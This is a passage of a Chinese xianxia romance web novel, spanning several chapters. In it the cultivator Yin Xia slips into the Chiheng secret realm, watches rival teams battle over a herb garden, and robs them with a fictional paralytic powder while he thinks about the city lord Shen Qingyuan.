她总是淡然自若,万事万物都掌握在手,只对经商和炼器兴趣非凡。殷夏想象不出她喜欢上一个人的模样。 喜欢一个人并不应该像现在这么冷静。 哦对了,殷夏提醒自己,她只喜欢自己先前的这张脸。并不是自己这个人。 心头忽然有些茫然,胸腔内砰砰几下剧烈的震颤,翻腾出难以言喻的酸涩。 难怪施术时候,她的眼神总是不经意带了点怀念。明明他还是他,可在她眼中,看见的仍是他最真实的脸。 而他自己却只能看到真实之上幻形术。 活的像个替身。 他摸了摸脸,指尖的触感无比真实,毫无幻形的痕迹。 城主给他下的术法非常高阶,应是幻形术的一类少见的分支,品阶高级,威力霸道非常。 他想了想,确认道:“化神期的修士能看破这道幻形术吗?” “不能。”沈卿缘淡淡道,“除我之外的化神都看不破这道幻术痕迹,只有化神之上的渡劫能感应到些许灵力波动。” 殷夏至今没见过一个渡劫期。 渡劫期的大能们距离飞升只剩最后一点点的距离,他们的剩余寿命就成了与天一搏的最后筹码。 正常情况下渡劫期前辈都在闭关修炼,若非外头闹得天崩地裂,他们不会出关,也懒得理会凡尘世俗。 他忽然问道:“城主喜欢这张脸,为何不取走?” 殷夏用最普通的语气说着最骇人的话,仿佛真的这样做了,他也毫不在意。 沈卿缘白了他一眼:“我又不是邪魔外道,能常常看到不就挺好。” 看到喜欢的容貌,就像云雾乘着清风,花朵沐浴着阳光,能让心中烦闷尽消。 没必要一定攥在手中。 像殷夏这样,顶着张绝美的脸,却只能照着镜子才能看到,才是可惜。 不过被她的幻形咒给封印之后,更加可惜。能看到的人少得可怜,几乎屈指可数。 她脸上的遗憾之色太重,殷夏看着只觉得有趣,一时没能忍住脸上笑意。 他说:“若能侥幸从秘境中回来,让城主长长久久地看着又何妨。” 她想,茉茉说的对,这个人的审美果然很差,察言观色能力也不成。根本不会看人脸色。 仗着她能看见他的原本面貌,脸皮厚如城墙。 沈卿缘挥挥袖,将他化作个光点,咻地一下扔出了城主府。 殷夏只觉屁股一痛,回过神时,才发现自己被钩在了仙市大街的某棵茂密树冠上。他傻笑了两声,手脚并用,轻轻松松往树下爬去。 沈卿缘先前说了那么多,却没有一句能比得上“想看”二字。 他所说的长长久久也是发自内心。 以前总是烦闷,有一张对男修而言漂亮到过分的脸很多时候确实麻烦的很。 但如果是遇上的是沈卿缘,一切都已经想通了。 即使是被单纯喜欢美貌,也是一件让人心情美妙且毫无负担的事情。 · 管理客卿名单的负责管事今天忽然收到一封城主密信。 信纸落款处,是千真万确的城主印章。 密信加急,内容却简单,只是告知管事在金丹期队伍中添个客卿位子。 管事展平信纸,继续往下读。那个刚进阶至金丹期,境界刚刚初期,就被城主格外青睐并点进队伍的人,他的名字叫做殷夏。 毫无印象。应该是对方毫无名气所以自己从未听过。 不过城主之命不敢耽搁,他很快将这位走了后门进来的金丹修士编入册子,并拿出一个腰牌,刻入对方的名字与目前修为,又选了城内一处僻静之所作为新晋客卿的安置房屋。 按照正规程序,应当是由修士向城主递交申请书,城主同意后会盖上专属印章,让修士自行前往,寻找这位负责管事,经过现场登记之后取得腰牌与钥匙。而这位免了全部的流程,由城主直接将令牌递交给他,真是天大的偏爱。 管事摇摇头,虽说内心半是羡慕半是好奇,但也不敢多声张一字。他将腰牌与房屋钥匙仔细准备妥当后,将它们放入密信之中亲自送给城主。 而此刻,殷夏未走申请程序便成为城主府客卿,还多了一处安置在仙市的房屋。 而本人他无知无觉,正独自一人走在仙市街道上。步伐不大,速度也慢,走走停停,四处张望,规划着此次进入秘境需要采购的基本物品。 ”上次在锦绣阁买过一件衣服,城主又赔了我一套,够用。只是法器在渡劫时被劈烂了,得买一个趁手的过渡一下,得多备一些回复灵气的丹药,提升攻击与加强防御的符咒也挺必要……” 他冥思苦想,总觉得漏了什么。 走了长长一段路后,忽然福至心灵,一拍手道:“对了 11. 第 11 章 《我的美貌一文不值》全本免费阅读 离开仙市之前,殷夏专程去挑选了法器。 先前被沈卿缘抱在怀中月下御空之事,可能是一辈子烙在他的脑海里的难以言说。因此渡劫结束后,他第一个念头就是赶紧买个能御空的趁手法器。 好的法器都是炼器师采用天材地宝精心炼制而成的,拍卖行或者交易行都能寻到一些寄售在此的名家名作。 只有普通低阶法器才会散落在坊市对外售卖。 好在他要求也不高,索性挑了条木属性灵鞭将就用着。 木灵鞭软韧且长,他甩了甩灵鞭,将灵鞭从尾部卷至柄,盘成一只圆盘的形状,然后根据地图标志所示,一路坐着盘状木灵鞭以最快的速度御风而行。 从仙市出发还不到半日,他已能远远看到炽恒秘境入口。 靠近才发现秘境入口像是一轮巨大的暗红色漩涡,越往漩涡深处红色越浓,也越难探查。 他撤掉些许灵力,稳稳当当地减速落地,却不急着进入其中,反而找了秘境对面林中的树荫茂盛之处,然后撩起衣袍,背靠大树,不慌不忙地坐下了。 根据他来此之前与赶路之时一路打听得来的消息,秘境开启之时,绝大多数的元婴修士都已第一时间已经进入了,早在秘境没有开启的时候,这些修士便等候在入口旁,做了万全的准备。秘境开启后,自是争先恐后,纷纷抢占先手。 如今距离炽恒秘境开启已一天有余。 偶有成群结队的修士或是御风或是踩着法器,目不斜视地从他身边飞速掠过,依序依次进入炽恒秘境的入口屏障之中,每次进入的修士大约在三到五个,一看就是以小队形式进入秘境专为探险的队伍。 这些修士进入秘境入口之时毫无阻拦,仿佛那些禁制并不存在。 但炽恒秘境是较为特殊的一处秘境,特殊在它对进入秘境的修为有着极为严格的限制,只容许元婴境界的修士进入。 对于更高等级的修士,原先秘境的主人设定了十分严格的禁制,那些长短不一的细密线条与大大小小的红色光点以奇诡的方式组合排布在入口的旋涡之中,若高阶修士想要强行突破只会损伤自身修为,同时会导致秘境不稳,甚至坍塌。 仗着差了境界杀人夺宝的事情在此处秘境并不多见。 也许这个秘境原先的主人怀有慈悲之心,不愿滥杀无辜,也不愿后人为此硝而自相残杀,硝烟四起。 至于元婴以下修士的修炼等级低于秘境的最低要求,就算秘境不管不问,若低阶修士胆敢进入其中,不死也残。因此秘境禁制对元婴以下的修士较为宽容,禁制较为松散,没有针对,并非不可欺瞒。但秘境作为一个小世界,一旦进入,就再也感知不到秘境之外的灵力波动与神识探视。 殷夏在树荫下闭眼休憩,直至天光暗淡,夜幕降临,肉眼只看得见秘境出入的漩涡状洞口上闪烁着绚丽光芒。 与此同时,他隐匿气息,身形缓缓变淡,直至将自己化为一片树叶,缓缓飘落在地上。 炽恒秘境设立在山崖高耸处的一座悬崖峭壁的边缘,地势开阔,狂风呼啸。 化作树叶的殷夏飘落后不多久,便被狂乱吹拂的长风卷起,与许多毫无灵气的普通的树叶一起,在空中翻卷飘飞,往山崖的方向而去。在无数树叶之中,只有一片树叶在某一瞬间轻盈地透过了光芒闪烁的秘境洞口,悄无声息地从万千落叶里消失了。 此时万籁俱寂,距离秘境开启已过了一个白天的时间,半天也难以看到一个人影,秘境入口空空荡荡,只剩下多重禁制组成的炫彩光环在缓缓旋转与变幻。 殷夏化作的那片树叶在进入秘境的同时,便经白光一闪,立刻被传送至秘境中的任意一处。 秘境传送指的是,但凡有修士进入,便会瞬间开启。 殷夏在化作树叶默默寻找机会飘进秘境洞口的瞬间,已经被秘境自动识别出修士身份。但与他料想一致,此处秘境禁制虽反应灵敏,却是死物,既然他已经顺利通过,那些禁制对外不对内,便不会再管通过之人的修为高低。 秘境之中一轮红日高悬天际,闷热无比。 殷夏被传送至其中一处平原。 他自身的境界太低,若有元婴修士在周围放出神识警惕旁人,他未必能够察觉到。 于是自他高空中悠悠荡荡飘落之时,神识一动,将傀儡娃娃小葵花从储物空间里放了出来。 小葵花刚冒出脑袋,就被调转了方向,它木木的后脑勺背对着殷夏,还没来得及看上一眼主人变成的叶片,就以一道弧线的方式直直往下栽进了一片的枯叶堆中。 它圆圆的木头脑袋落地的时候传来了一声闷响,硕大的身体连续翻滚了几圈,只听到“砰”的一声撞在一块巨大的石头上。殷夏注意到它僵硬地伸直了胳膊和腿,不知道有没有撞坏。 沈卿缘做的防御型的傀儡娃娃应该挺经摔的? 殷夏默默地闭上了眼睛,把自己当成一片真正的叶子,随风往下加速,然后猛的扎进了小葵花的发髻上。 然后命令小葵花:“好,不准动。” “把我往下摁点,嗯嗯这样比较稳。” “……” · 远在城主府的沈卿缘今天莫名其妙地打了个喷嚏。 大乘期的她,对于某些强烈的念力格外敏感警惕。她转念一想,该不会是殷夏在秘境中遇到了什么麻烦,或者办砸一些事情。 殷夏在秘境施展秘法,化作树叶乘着一阵风飘起来的时候,她还能感知到他的踪迹,但在进入秘境之后,虽然小葵花还在他的身边,但她与殷夏却已不在同一个空间之内,无法继续感知他的动向。 若是水滴汇入了山河湖泊,湖面之人便难以感知每一滴水的不同。 沈卿缘设下的感知亦是如此。 修士在达到大乘境界之后,可化出另一具分身,行走于世间游历感悟。 她想了想,忽然抬手设下好几重禁制,传送阵亮起光芒,一步之内已至后山僻静清幽的闭关之处。 石屋内,她盘腿而坐,凝神静心,几个呼吸间掌间便有金色灵光吞吐。明明是夜晚,璀璨的金光将却闭关的石室映得亮如白昼。 忽然她的身影在金光重重之间晃动了一下,从背后渐渐生出一片朦胧的光影,轻盈又单薄的一片,像新生的蝶翼,微微颤动着,仿佛有浅淡的金色流淌于其中,细看之下却又不复存在,只余一个与沈卿缘极其相似的透明人形轮廓。 当沈卿 12. 第 12 章 《我的美貌一文不值》全本免费阅读 小树林里灌木丛生,斑驳陆离。 江月白揉了揉眼睛,片刻后终于适应了强光下刺眼的光线。她左手揽琴,右手轻轻抚上碧心,琴身如玉,质地细腻。碧心曾是沈卿缘旧时的法器,由她亲自铸造与祭炼,与她心意相通,此时闪耀着淡淡的光泽,仿佛回应着江月白,在她的抚摸下微微颤动嗡鸣,随后化作一道流光飞入她的灵府。 关于前往炽恒秘境路线图与秘境内详细地图,江月白在沈卿缘所给的储物袋中全都找到了。 她忍不住摇摇头,心知沈卿缘那人别扭又周全的毛病,随后纵身腾空而起,往炽恒秘境的方向飞去,眨眼便消失无踪。 在江月白以不可思议的速度御空而行赶往炽恒秘境时,殷夏却不知自己已在秘境中呆了多久。 秘境中的气候天象与日月轮换都与外界大不相同,时间的流速也自有一套规则。 比如炽恒秘境,白日里一轮红日高悬于天,夜晚却漆黑无光,只有猩红色的光点闪烁不定,仿佛妖兽的眼睛。 筑基期之时,为了谋生或是为了完成悬赏任务,他曾进入过很多次秘境,但会先行确认秘境等级在与自身修为同级或之下。 筑基秘境与寻常修仙界相差无几,因此虽身处另一空间却并无太多实感。然而因秘境等级较低,产出的灵草则灵力微薄,妖兽妖丹亦价值一般,殷夏用秘境所得与收购的店家换了点灵石,很快又花光在无边无际的修行上了。 他叹气,所以修仙确实是个大坑,深不见底的那种。 目前金丹境级别的秘境他还未有机会探索,就冒死进入元婴秘境。在这样灵气浓郁却又危险重重的秘境之中,他才终于体会到什么叫做境界的差别宛如万古长河,近在眼前却遥不可及。 他从不盲目自信,也不轻信自己运气。 从秘境的危险程度就能看出不同级别的秘境千差万别,越是异像频出越是万分危险。但凡出现异像,就代表着其中无论是妖兽还是灵草,已极大程度上受到秘境的影响,危险程度也随之剧增。但好处在于,无论是灵草还是妖兽内丹,灵气都会愈发精纯与浓郁。 他自入秘境开始就未显露原身,一直以树叶的形态安在小葵花的脑袋上。 小葵花平日里活泼灵动,能说会道,但终究是自沈卿缘手中炼制出来,而非天生地长,因此它没有修仙之人特有的灵力波动。只要隐藏得当,就算元婴修士的神识敏锐,它也很难被发现。 通过小葵花头顶上方的视角,殷夏能很方便地探查周围的情况。 眼前是一座灵药园,园子不大,周围被一圈半人高的篱笆高高低低地环绕着,篱笆扎的并不精细,反而显得有些粗糙随性。秘境之外的的光线刺目至极,明亮到让人晕眩,但在整块苗圃之上有一个透明的穹形顶。自从随着小葵花迈入灵药圃内,他能明显感觉到外界的红日之光被这道透明穹顶阻隔了很多炽热炎火,使此处环境变得更为适合灵植的生长。可见对于这座灵药铺曾被人照料地非常用心。 园内的灵药也被分为一块一块,因每种灵药所需的土质营养以及阳光雨露各不相同,可以看到每一块灵药圃都根据所种的特定灵植,于虚空之上设下了一张或几张不同颜色与用途的符咒,或是能降下雨露,或是调节适宜温度、甚至可以小范围精细地调整所需光照,以适应不同灵植生长时的不同情形。 眼下的一切看起来是那么平静又安宁。 但殷夏却忽然涌起一阵不太对劲的感觉。 他以意念控制住小葵花,让它不要再往前一步,于是小葵花慢慢双手抱膝,变得越来越小宛如一块灰扑扑的泥巴,它就近滚入一株灵草宽阔的叶片下,然后一动不动。 宛如落下的细碎砂砾,随着时间一分一秒的过去,灵药园却愈发寂静,直至落针可闻。 眼前的灵药园干净整洁,茁壮成长的灵药在和风中摇曳,硕果累累,呈现出一片欣欣向荣之景。 但殷夏心头的不安也愈发强烈。 他的直觉是正确的。 灵药园东南方向的角落里,一道火光冲天而起,熊熊燃烧的烈焰与动荡的灵气明明白白昭示着对方深不可测的灵力。与此同时,北边悬挂着红色灵果之处自下而上冲出一道水缸般粗壮的水柱,雪白的浪花在水柱周围激荡翻腾,不甘示弱,一路咆哮着向火光之处冲去。 虽然殷夏现在只是一片树叶,但这并不妨碍他在观战的同时在心里暗呼好大的场面。 元婴之间的比斗难得一见,更何况秘境之中并无束缚,为了抢夺灵物,不是你死就是我亡。 所以灵药园中果然有人,而且还不止一拨。 两方交战,水与火相撞的瞬间掀起磅礴的气流,形成的飓风掀飞了灵药园中的大片灵壤,园内顿时显得格外光秃,只余下灵药发达的根系还在紧紧抓着为数不多的灵壤。各方初次交锋,就已显现出巨大的破坏力。 一方将灵药园上覆盖的透明穹顶烧掉了小半边,另一方召来的水流砸落地面溅起巨大的浪花,自天边垂直落下的的水流仿佛悬空的飞瀑,汇聚一片汪洋,眼看就要淹没掉整个灵药园。 一行人终于从药园中显露出身形。 他做了个手势,身旁的女修即刻会意,迅速往身处的角落布了好几层减速、减伤、防御等等颜色的护罩。 然后他才慢吞吞地起身,牵起嘴角,露出一个似笑非笑的表情,耸肩道:“灵药园可是金贵的很,何必因你我之间相争,以一场大水毁掉整个园子呢。” 对方为首的女修也站了出来,她周身都萦绕着充沛的灵力,最为浓郁之处则显现出淡淡的光晕,掌中流动着一只浅蓝色透明水球。 这支队伍均着精悍打扮,毫不拖泥带水,并未布任何防御法术,手中法器却稳稳捏着,显然舍弃了防御,做好了随时进攻的万全准备。 她声音脆甜,语气却不善:“你先放的火。” 方才笑意不及眼底的男修摊手道:“灵药无辜,若因此而毁损,对我们都没好处。” 对面女修昂起头,显然不讲他放在眼里。虽是如此,却仍顾忌到了灵草损伤的可能,于是伸出另一只白嫩手掌,手心向下,做了个五指微微拢起的动作。 此时,方才从天而下倾倒出来的水又纷纷逆流而上,仿佛听从指令一般乖顺地返回到她的掌中,而她掌中越来越亮,蓝色也越来越鲜明,直至化为一捧湛蓝的灵液。她的五指渐渐并拢,最终紧握成拳。 而那捧灵液也渐渐融化消失于她的掌中,重新化为可并入自身循环的灵气。 殷夏心知,元婴期的打斗动辄移山填海,眼前的这点较量只是两支小队之间对彼此实力的相互试探。 在方才双方打斗之时被波及淹没的灵植渐渐显露出原先的形貌。从叶片到根茎都湿淋淋的,提不起气力的模样显得蔫头蔫脑的。 此刻灵药上空忽然闪烁起五彩斑斓的灵光,原先布于虚空之中分散于各苗圃的各色符箓感应到环境的剧烈变化,开始自发调节灵药圃中的气候、湿度与温度,因蒸发灵壤与叶片中的多余水份,空气中渐渐萦绕起产生的浅淡雾气。 那位擅使火系法术的男修向前走出两步,步数拿捏极准,刚好处于防护罩与外界的交界之处。他不慌不忙地与对方女修理论:“这处灵药园是我们队先寻得的,本着先到先得的原则,应归我方所有。” 这位男修声音微哑,无论说出任何字句都透出一股懒散的意味,虽然言语上并不退让,态度却颇为恭谦。 斜对面的女修无比挑衅地瞥了他一眼,似是并不将对方放在眼里。 她只道:“看清楚,这里可是秘境。谁管你先来后来,能拿到手才是真本事。” 化作树叶的殷夏正悄悄藏于苗圃的左下角位置。他默默地想,对方女修明显手段强硬,态度不善,仅凭三言两语难以说服。而该男修心思深沉,不是善茬,说不定还要使出什么手段。 他一边观望一边思索,同时不忘以念力驱使小葵花把脑袋再埋低一点。 却正听到不远处传来一声痛呼声。 原来是女修小队中的医修,正被一把寒光四溢的匕首抵住了脖子,情势危急。 医修往往是整个队伍之中最薄弱之处,虽然能治病救人,本身却无太多的战斗力。此时那段纤细的脖颈上正一点点地往外渗出大颗的血珠,格外引人注目。 殷夏恍然,刚才那位男修突然开口讲话并非无缘无故,而是为了降低对方警惕,吸引对方注意,从而给队伍中的人争取潜行而来的时机。 此时这柄锋利的匕首上浸满灵力,反射出点点冷光。刺客手握刀柄,以刀锋紧紧抵住医修脖颈上的细嫩皮肉,那一道被划开的伤口方才还渗出鲜红的血液,此刻却已大幅减缓了流血的速度,伤口处也变成了并不常见的蓝紫色。 明亮 13. 第 13 章 《我的美貌一文不值》全本免费阅读 这名刺客还是年轻了些,修为尚浅且阅历不足,虽然脸上冷冰冰的,一副冷酷无情的模样,却明显可见其足无措起来,应付不了当前的状况。 在这千钧一发之际,这名医修忽然全身抽搐,不知有意还是无意,她正巧打掉了他手上的另外半颗解毒药。白色且不规则的半颗药丸骨碌滚进脚下灵药丛中,再往脚下细看,却只见一片葱郁茂盛的绿意,不见半点解药的痕迹。 位于对面的火系男率先发现状况有变,双手聚拢起火球向对面砰然砸下。而冰系女修也瞬间发动早已悬于空中许久的万千冰晶。一时间,冰晶燃烧爆裂声与火球撞于防护罩上的轰鸣声不绝于耳。 等到硝烟渐熄,冰系女修已带着小队退出了七八丈远。 手持匕首的刺客却被挂在了灵药园外的一棵树上,匕首被卸下收缴,被挂的绳索异常结实,上面微微闪动着符咒的点点莹光,不但禁锢住他的灵力循环,还在不断抽取他的灵力,根本无法挣脱。而刚才还惊惧晕厥,半死不活的医修,此时一脸平静。她一手托着方才打落在地的另外半颗解药,仔细端详片刻,打入两道灵光进行解析。确认完毕其中的药材成分与疗效后后,才继续将这半颗解药缓缓服下。 火系男修将她凝视了半晌,忽然阴沉沉地笑了两声:“真是好演技。” 而那位看似身娇体弱的女医修,闻言后退两步至小队最末,并不打算与他废话。她将手掌虚虚地搭在颈部,掌心半拢中灵气吞吐,浓郁的灵气从掌心缓缓流入喉间,喉管上蓝紫色的伤口颜色已经转淡,在灵气治疗下结出深色的血痂。 没想到此刻从天而降无数黄沙,两队人马纷纷觉得眼前忽然一暗,等各人再恢复光明之时,却发现均身处一只土黄色的罩子中。罩子上雾蒙蒙的,像是在流动着暗金色细沙,看起来毫无攻击力的一个土黄色罩子,却怎么也打不破。 一名儒雅风流的男子从隐身处走出:“各位不用再费尽心思想要逃脱出来。这是土灵罩,在罩子被打碎之前,倘若在内肆意施术攻击,只会伤到你们自己。” 他还悠然补了一句:“勿要怪我未曾提醒。” 整个局面已然发生逆转。两方被困于罩中,却令后来者居上。 殷夏让小葵花往灵药园的边缘挪挪,小葵花却摸了一手晶莹的半透明砂石。 他随意一瞥,却不禁在心里“咦”了一声。 熟读灵药全集的他当然能第一时间认出来,这看似常见的半透明砂石实则是一种极为少见植物种子,而小葵花与他正好身处栽植着这片植物的灵壤上。 据他所知,将此果实不正是调配出幻鳞砂的主要制造材料,剩下的材料刚好可以常用的草药作为补充,他原先在仙市之中采购了许多随身带着,现在正好派上用场。 微微一笑之间,他心中已有了思量。 · 灵药圃内,最后一支队伍正顶着前后两队即将破开土灵罩的时间压力,飞快采摘着灵药圃中的灵药。 这队修士动作迅速,队长只悠闲地站在一边,垂着双手拢在袖袍中四处闲逛,并未见他如何动作。但他的队员们却毫无怨言,专心埋头挖脚下遍地的灵药,手中灵器指哪切哪,一些比较麻烦需要连根刨出的植株直接从下而上连着灵壤一并掀掉扔在一旁。 不一会儿,园内田埂上就码着整整齐齐的绿色植株,远远望去,鲜艳的各色果实和根部茎块。仿佛凡尘俗世中农家耕种田地后在丰收时节喜悦收获的情景。 但这情景落到另外两支小队眼中就不那么喜悦和美好了。看着这些暗中算计自己的小人如同收菜一般堆起了座小山一样的灵药,自然心里又急又气。 气的是自己竟然没发现这帮人马的踪影,急的是灵药被收走后,若是被放入芥子空间,只能杀了对方才能让此空间中的物品掉落。 可若真的誓死拼杀,灵药落入谁手也未可知。 奈何土灵罩隔绝内外空间,正如那位领头所说,不打破根本无法强攻。因此他们只能用手中的法器凝聚成无数小型光团,如雨落一般噼里啪啦地敲打着土墙一般厚实的黄色罩子。 虽然不能使用威力巨大的法术,但在密集又稠密的的攻击之下,罩外已出现了丝丝裂纹,看起来摇摇欲坠。 见此情形,第三支探险队的队长打开一只灰扑扑的储物袋,一招手就将采集的所有灵药都纳入进去。 殷夏寻思着,既然放的是储物袋而非芥子空间,抢夺便更容易了些。与此同时,小葵花已听从他的指示,将身下的半透明砂石抓了好几把,一并拨至身前。 殷夏暗中告知它详细制作方法,小葵花边听边按照指示动手。 方法其实也不难,主要是原料难得。先将果实,也就是眼前的所有半透明砂石压在掌下捻碎成灰,而后拿出用来配幻鳞砂的草药,只取叶片,还有零碎的一些辅料,按照书中配方制成以后,是如盐粒一般细碎的浅绿色颗粒,与一般的纯白色相差有些大。他心想可能是放了太多未被提纯的配比药草缘故,并不影响药效。随后大量的粉末被他暗中收入金镯中的储物格子,只要他想,一念之间就能随取随用。 忙完一切,却听远处传来层层咔擦碎裂的声音,土灵罩先后被两队打破,灵壤飞灰被剧烈的爆破炸的到处都是,漫天都是尘烟,加上五光十色的法术虹光迸出直指苍穹,几乎看不清园圃内情形。 两队混战变成了三对混战。 经过方才的暗算之后,这两队之间也瞬间达成了某种默契,暂且不追究先前的争斗,而是联合起来对付暗算之人。只是其中一支队伍的刺客被挂在树上仍未放下,而另一支队伍的医修刚刚解毒,灵力运转不畅,无法使用大型的治疗法诀,仍是太过虚弱。可见这两队之间仍存有戒心,但勉强也能合作,只求以多胜少,先拿回储物袋再作计较。 而被共同针对的土系灵根队长微微一笑,全队闪至灵药园的边缘。 那两支小队见此情形,也想拼杀出去,却听到耳边山崩地裂的轰隆一声,接着却什么都听不见了,神识也被影响,再一摸耳朵,却是一手鲜红的黏腻,一直淌至脸颊。无数耀眼至极的红色火花在土地上落地而生,烧毁一切,脚下随处都是都是坚硬如铁的荆棘丛,砍断的同时又快速再生,疯狂堵住前路,御空飞身上天后却又突破不出上方如同倒扣的一层透明薄膜,可谓落地无路,上天无门。 这名埋伏在最后才出击的土系队长果然还留了后手,而且还是个大手笔。一手土灵罩只是为了拦住另外两支小队,避免冲突,以便尽快摘取所有药草。 这隔绝空间中有符法阵、雷符、爆破符,还有迷障圈、盲音符、荆棘种子等等,虽然单张效力不大,可被隔绝在一方空间之后,这大把的符咒撒出去,落到阵中人的身上可是实打实的伤害。等烟雾散去,土系队长带领队员拨开再无生机的荆棘丛,踏过遍地的火海与残留的微小闪电,看到的是两支小队的碎肢与残骸。 他温文尔雅的脸上露出一丝嘲弄的笑意,伸手拂过这些往日里被称为天之骄子的焦黑色残躯。躯体衣物内的储物袋与芥子因空间而逸出的宝物纷纷被牵引至半空,耀眼夺目。 而他张手一揽,各色灵光闪烁的法宝纷纷倾巢而出,落入他另一只掌心所托起的宝盒里。 随着最后一丝灵光消失在宝盒之中,他以一指从后 14. 第 14 章 《我的美貌一文不值》全本免费阅读 小葵花和以叶子形态扒拉在它脑壳后的殷夏此时已到达悬崖边上,峭壁云雾缭绕,上有大把的碧绿藤蔓如同瀑布一般蜿蜒而下。 它伸出肉乎乎的手,捞住一把藤蔓,刚好能完全握在手心,而后一跃而下又攀着藤条轻盈地荡起。它稳稳抓牢,用脚勾住藤蔓其中的一条,然后随着荡开的频率稳住重心,逐渐往悬崖之下滑去。 在滑行的过程中,殷夏忽然意识到一个很严重的问题不由得问道:“你抓藤蔓干什么?” 他的脑中忽然产生了一个貌似不可能,但最接近事实的答案。 “难道你不会御空?” 小葵花理所当然地回答他:“对啊。” 他两眼一黑,在悬崖狂风之下,差点没抓牢小葵花的头发。 他见小葵花跑得飞快,还以为是因为擅长跑路,之前可真没往这个可能性上考虑过。只想过既然小葵花能挡下元婴期的三次最强攻击,怎么着也得具备一些元婴修士的基本能力。 却没想到它根本不会飞。 小葵花灵巧的身形正飞速下滑,它面带羞涩地解释道:“城主没有给人家配上这个功能呢,她说太麻烦了,能跑得快保住小命就行。” 趴在它头上的殷夏都惊呆了,不满道:“这算偷工减料了吧,万一其他元婴修士在空中攻击我的话,你要怎么挡?” 小葵花笑眯眯:“这个问题我知道,城主说过,在空中的话您召唤我出来就行。” 殷夏一瞬间释然。 这……也不失为一个新奇的解决思路。 · 一只傀儡娃娃外加一片叶子在陡峭的悬崖上仿佛小小的蚂蚁,即使极目远眺,眼前仍是一片山石皲裂,红日耀眼的景象。 小葵花顺着藤蔓滑滑停停,终于找到了一处凹进去的山洞。它手脚并用地爬了进去,顺着殷夏的传音在洞口贴了张高级隐匿符,然后从洞内推了几块巨大的岩石将洞口赌上,间隙之间塞上藤蔓。 殷夏此时也解除了化形,有些疲惫地坐在岩洞石壁下。他想起先前的那只土灵罩,看起来真的非常好用,绝对是隔绝空间的防御利器,可惜他是金丹期,而且是木属性,看着眼馋也用不出来,只能靠消耗隐匿符起到隐藏踪迹的作用。 想到这里,他又扔了三四张隐匿符贴在洞内四周石壁上,才缓了口气。 在幻鳞砂的麻痹效果解除之后,对方眼看着失去了所有的储物袋和宝物,特别是那只能切断所有联系的宝盒,自然不会善罢甘休,定会在秘境内四处搜索他的踪迹。毕竟殷夏并未取走他们的性命,一些压箱底的东西仍好好存放在灵府里,有所依仗,故只要还存有一丝不甘,就不会立刻离开秘境。 所以他得先藏一段时间。幻鳞砂这种毒药的特性是消耗的灵气无法继续补充,但效力存续时间会随着修为高低而变化,除非获得解药并服下。 这也是幻鳞砂最为致命的效果,没有灵气的修仙者倘若还执着留在秘境之中,无疑会成为他人案板上的肥肉。最多一天,等明日这支小队发身上的灵力用完之后枯竭且无法再生,自会识相离开秘境。那时他就能继续探索秘境,找寻金盏莲所在的岩浆池了。 那他与小葵花今天晚上得在这个山洞中过一夜。 暮色将近,天边有倦鸟归林之声。 此处岩壁与外界略微不同,虽然堵住了入口,洞内几乎一片黑暗,却仍能看见岩壁上有赤红色的结晶体,在山崖之上却未曾见过。 他从储物金镯中翻出一本泛黄的书册,详细看了看介绍火属性秘境的那部分,半晌后,若有所思道:“这种赤红色的晶体常生长在岩浆池附近,色泽明亮,可入药或作为装饰。” 那他们这座悬崖应该离他要找的岩浆池不太远了。 地图上倒是有表明岩浆池的所在,可是这座悬崖却未曾出现,未曾想逃跑途中歪打正着,并未走错方向。 他心里稍稍安定了一些,取出一块不大的薄毯铺在地上,然后在边缘坐下。白光一现之后,薄毯中间一沉,将四周的布料都压的紧凑了点。 简陋的山洞中逐渐有各色宝物自带的宝光弥漫开来,却被隐匿符牢牢地掩在这一方天地中。 殷夏将此行的储物袋清点完毕后,顿感收获满满。 他手上共有三支实力强横的小队所有的储物袋,以及两支小队存于灵府中的所有财宝。虽然早已贴有隐匿符咒,殷夏心中仍是不安,几乎在宝光漫出的瞬间,无论是留下神印的还是未曾认主的,都被他用那只奇异宝盒收起,并反手盖上盒盖。落盖的瞬间,不但隔绝了绚烂宝光,更是彻底切断了一切气息与神念。 山洞之内只亮了短暂的一瞬,就又全部落入了无边的黑暗。他顺手一把火将储物袋全部烧了,部分水火不侵的材质直接祭出丹火焚烧殆尽。 一切处理完后,殷夏看着一地的闪亮灵石与厚如书册般层层叠好的符箓,又心满意足地摸了摸那只装了满满一园子草药的储物袋。 他不禁热泪盈眶,仰头感慨:“元婴修士真是底蕴深厚啊。” 此趟若能顺利结束拿到回到仙市,大概能把那笔欠沈卿缘的债给还清了。 在清点储物袋与宝物的整个过程中,小葵花一直不声不响,尽忠职守地守在洞口旁。 半夜三更,它忽有所感,出声提醒道:“仙子,我好像感觉到附近有一道非常熟悉的神念。” 殷夏睁眼坐起:“谁?” 小葵花皱着眉毛,似是无法确定,犹豫道:“不知道是不是感应功能坏了,我总觉得……这道神念和将我炼出的气息特别相似。” 殷夏的困意瞬间没了,语气有些急促:“你说的是谁?沈卿缘?” 小葵花:“像她,但又很微弱,气息并没有那么饱满凝练。” 也对,沈卿缘是大乘期,倘若真的进入了秘境,自然会显现出崩裂之景,可眼下一切如常,夜色茫茫,那个寻找小葵花的人是谁?该不会在他们打劫的时候被注意到后还被下了追踪符吧。 小葵花感应到他的想法,摇了摇头,表示并未被追踪。 他舒了口气,心头疑虑却更多了一点。 这些天来,一旦处于不那么紧绷状态的时候,殷夏就会很自然地想到她。是对着手上套着的金色镯子,伸出手臂让它在眼前晃来晃去的时候;是看着小葵花的眉眼神情,觉得怎么能做出这么巧夺天工的傀儡娃娃的时候;也是在幻鳞砂产生效果的时候,他极力抑制住自身对元婴修士威压的臣服与恐惧,拿走储物袋后飞速逃命的时候。 甚至在刚刚,在了解完山洞中赤红色晶体之后,他第一反应也不是新奇有趣,而是觉得这种晶体挺适合给她做新品的研发材料,没准她会感兴趣的,然后折了两三支颗粒较大,成色较好的结晶之体,收入储物金镯的格子中妥善保存了下来。 他时常觉得自己过于渺小,她却浩大如天边的那轮明月。 现在时时提心吊胆,处于生死关头,却能够直视所有的心意与情绪。望着眼前一丛丛明艳中又略带透明的赤红色晶体,他的心跳又开始加快。 那是不能被修炼等级所压抑限制的,却被自己关了太久的,属于一个普通修士的动情瞬间。 过了一会儿,他再问:“你能感觉到对方现在的方位吗?” 若是来者不善,就得 15. 第 15 章 《我的美貌一文不值》全本免费阅读 她只丢下最后这句话,便化作一道流光,转眼就消失的无影无踪了。 岩洞内短暂地亮了一瞬,随之重归一片黑暗。江月白来去自如,也不等殷夏回复,仿佛笃定他不会跑,或者说跑不掉一样。 